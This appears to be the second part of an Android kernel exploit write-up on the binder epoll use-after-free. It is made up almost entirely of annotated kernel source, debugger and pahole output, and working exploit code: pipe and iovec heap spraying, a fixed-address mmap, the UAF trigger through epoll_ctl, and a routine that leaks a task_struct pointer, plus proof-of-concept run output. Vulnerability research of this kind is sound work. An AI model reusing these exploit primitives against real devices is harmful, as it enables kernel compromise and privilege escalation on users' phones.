Bad Binder - Part 2 - Android Research Journey

/*
 * This function unregisters poll callbacks from the associated file
 * descriptor.  Must be called with "mtx" held (or "epmutex" if called from
 * ep_free).
 */
static void ep_unregister_pollwait(struct eventpoll *ep, struct epitem *epi)
{
	struct list_head *lsthead = &epi->pwqlist;
	struct eppoll_entry *pwq;

	while (!list_empty(lsthead)) {
		pwq = list_first_entry(lsthead, struct eppoll_entry, llink);

		list_del(&pwq->llink);
		// --> this is actually the other function that 
		// --> has a reference to `eppoll_entry`.
		// --> making this the only effective function
		// --> to actually use for the UAF write.
		ep_remove_wait_queue(pwq);
		kmem_cache_free(pwq_cache, pwq);
	}
}

static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
	wait_queue_head_t *whead;

	rcu_read_lock();
	/*
	 * If it is cleared by POLLFREE, it should be rcu-safe.
	 * If we read NULL we need a barrier paired with
	 * smp_store_release() in ep_poll_callback(), otherwise
	 * we rely on whead->lock.
	 */
	whead = smp_load_acquire(&pwq->whead);
	if (whead)
		remove_wait_queue(whead, &pwq->wait);
	rcu_read_unlock();
}

void remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry)
{
	unsigned long flags;

	spin_lock_irqsave(&wq_head->lock, flags);
	__remove_wait_queue(wq_head, wq_entry);
	spin_unlock_irqrestore(&wq_head->lock, flags);
}

static inline void
__remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry)
{
	list_del(&wq_entry->entry);
}

static inline void list_del(struct list_head *entry)
{
	__list_del(entry->prev, entry->next);
	entry->next = LIST_POISON1;
	entry->prev = LIST_POISON2;
}

static inline void __list_del(struct list_head * prev, struct list_head * next)
{
	next->prev = prev;
	WRITE_ONCE(prev->next, next);
}

epoll_ctl(epoll_fd, EPOLL_CTL_DEL, binder_fd, &event);

pwndbg> p *wq_entry
$18 = {
  flags = 0,
  private = 0x0,
  func = 0xffff20000868f4a0 <ep_poll_callback>,
  entry = {
    next = 0xffff8000d72b8ad0,
    prev = 0xffff8000d72b8ad0
  }
}
pwndbg> p &wq_entry->entry
$19 = (struct list_head *) 0xffff8000d75a2098
pwndbg> p &wq_head->head
$20 = (struct list_head *) 0xffff8000d72b8ad0
pwndbg> p *(struct list_head*)wq_head->head
$21 = {
  next = 0xffff8000d72b8ad0,
  prev = 0xffff8000d72b8ad0
}

❯ pahole binder_thread ~/vr/android/kernel/vmlinux
struct binder_thread {
        struct binder_proc *       proc;                 /*     0     8 */
        struct rb_node             rb_node;              /*     8    24 */
        struct list_head           waiting_thread_node;  /*    32    16 */
        int                        pid;                  /*    48     4 */
        int                        looper;               /*    52     4 */
        bool                       looper_need_return;   /*    56     1 */

        /* XXX 7 bytes hole, try to pack */

        /* --- cacheline 1 boundary (64 bytes) --- */
        struct binder_transaction * transaction_stack;   /*    64     8 */
        struct list_head           todo;                 /*    72    16 */
        bool                       process_todo;         /*    88     1 */

        /* XXX 7 bytes hole, try to pack */

        struct binder_error        return_error;         /*    96    32 */

        /* XXX last struct has 4 bytes of padding */

        /* --- cacheline 2 boundary (128 bytes) --- */
        struct binder_error        reply_error;          /*   128    32 */

        /* XXX last struct has 4 bytes of padding */

        struct binder_extended_error ee;                 /*   160    12 */

        /* XXX 4 bytes hole, try to pack */

        wait_queue_head_t          wait;                 /*   176    24 */
        /* --- cacheline 3 boundary (192 bytes) was 8 bytes ago --- */
        struct binder_stats        stats;                /*   200   244 */
        /* --- cacheline 6 boundary (384 bytes) was 60 bytes ago --- */
        atomic_t                   tmp_ref;              /*   444     4 */
        /* --- cacheline 7 boundary (448 bytes) --- */
        bool                       is_dead;              /*   448     1 */

        /* size: 456, cachelines: 8, members: 16 */
        /* sum members: 431, holes: 3, sum holes: 18 */
        /* padding: 7 */
        /* paddings: 2, sum paddings: 8 */
        /* last cacheline: 8 bytes */
};

struct iovec
{
    void *iov_base;	/* Pointer to data.  */
    size_t iov_len;	/* Length of data.  */
};

int pipefd[2];
pipe(pipefd);

#define PIPE_CAPACITY 65536

uint8_t fill_buffer[PIPE_CAPACITY] = { 0, };

assert(PIPE_CAPACITY == write(pipefd[1], fill_buffer, PIPE_CAPACITY));

#define NUM_IOVECS 24
#define BUFFER_SIZE 0x200

char buffer[BUFFER_SIZE];
struct iovec iov[NUM_IOVECS];

for (int i = 0; i < NUM_IOVECS; ++i)
{
    iov[i].iov_base = buffer;
    iov[i].iov_len = BUFFER_SIZE;
}

writev(pipefd[1], iov, NUM_IOVECS);

struct binder_thread {
	struct binder_proc *proc;
	struct rb_node rb_node;
	struct list_head waiting_thread_node;
	int pid;
	int looper;              /* only modified by this thread */
	bool looper_need_return; /* can be written by other thread */
	struct binder_transaction *transaction_stack;
	struct list_head todo;
	bool process_todo;
	struct binder_error return_error;
	struct binder_error reply_error;
	wait_queue_head_t wait;
	struct binder_stats stats;
	atomic_t tmp_ref;
	bool is_dead;
	struct task_struct *task;
};

void *leak_uaf() {
  int pipefd[2];
  uint8_t fill_buffer[PIPE_CAPACITY] = {
      0,
  };
  char buffer[BUFFER_SIZE];
  struct iovec iov[NUM_IOVECS];

  // Create a pipe and fill it up to block.
  printf("[!] Filling pipes to block...\n");
  pipe(pipefd);
  assert(PIPE_CAPACITY == write(pipefd[1], fill_buffer, PIPE_CAPACITY));

  printf("[!] Creating %d iovecs...\n", NUM_IOVECS);
  for (int i = 0; i < NUM_IOVECS; ++i) {
    iov[i].iov_base = buffer;
    iov[i].iov_len = BUFFER_SIZE;
  }

  sleep(5);

  printf("[!] Entering blocked state...\n");
  writev(pipefd[1], iov, NUM_IOVECS);
  printf("[!] Left blocked state, it means we have signaled to not hang.\n");

  return NULL;
}

int main() {
  int binder_fd, epoll_fd;
  pthread_t uaf_thread;

  assert(!pthread_create(&uaf_thread, NULL, leak_uaf, NULL));

  sleep(3);
  binder_fd = __initialize_binder();
  epoll_fd = __add_thread_to_waitqueue(binder_fd);
  __release_binder_thread(binder_fd);

  sleep(5);
  __del_waitqueue(epoll_fd, binder_fd);

  return EXIT_SUCCESS;
}

// We need a buffer with the lower 4 bytes being 0
// due to the spinlock.
void *spray_buf = mmap((void *)0x100000000, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
assert(spray_buf == (void *)0x100000000);

// We need a buffer with the lower 4 bytes being 0
// due to the spinlock.
void *fill_buf = mmap((void *)0x100000000, PIPE_CAPACITY, PROT_READ | PROT_WRITE,
                        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
assert(fill_buf == (void *)0x100000000);

// Create a pipe and fill it up to block.
printf("[!] Filling pipes to block...\n");
pipe(pipefd);

printf("[!] Creating 12 iovecs...\n");

// After the 11th iovec is processed, the pipe should be blocked.
iov[10].iov_base = fill_buf;
iov[10].iov_len = PIPE_CAPACITY;

// This is the iovec we overwrite while we process the 11th iovec.
iov[11].iov_len = BUFFER_SIZE;

~ # ./poc
[!] Filling pipes to block...
[!] Filling the iovecs to be overwritten...
[!] Created `binder_thread` and `binder_proc`...
[!] Added wait of binder_thread to `epoll_entry`...
[!] Entering blocked state...

#define TASK_STRUCT_OFFSET 0x1d // can be deduced from pahole / debugging

void *__leak_taskstruct(void) {
  uint64_t binder_thread_leak_buffer[BUFFER_SIZE / sizeof(uint64_t)];

  // First read the data we don't care about...
  int nbytes = read(pipefd[0], (void *)FILL_BUF_ADDR, PIPE_CAPACITY);
  assert(nbytes == PIPE_CAPACITY);

  // Now read the leak itself
  nbytes = read(pipefd[0], binder_thread_leak_buffer, BUFFER_SIZE);
  assert(nbytes == BUFFER_SIZE);

  void* task_struct_ptr = (void*)binder_thread_leak_buffer[TASK_STRUCT_OFFSET];
  printf("Leaked task_struct @ %p\n", task_struct_ptr);
  return task_struct_ptr;
}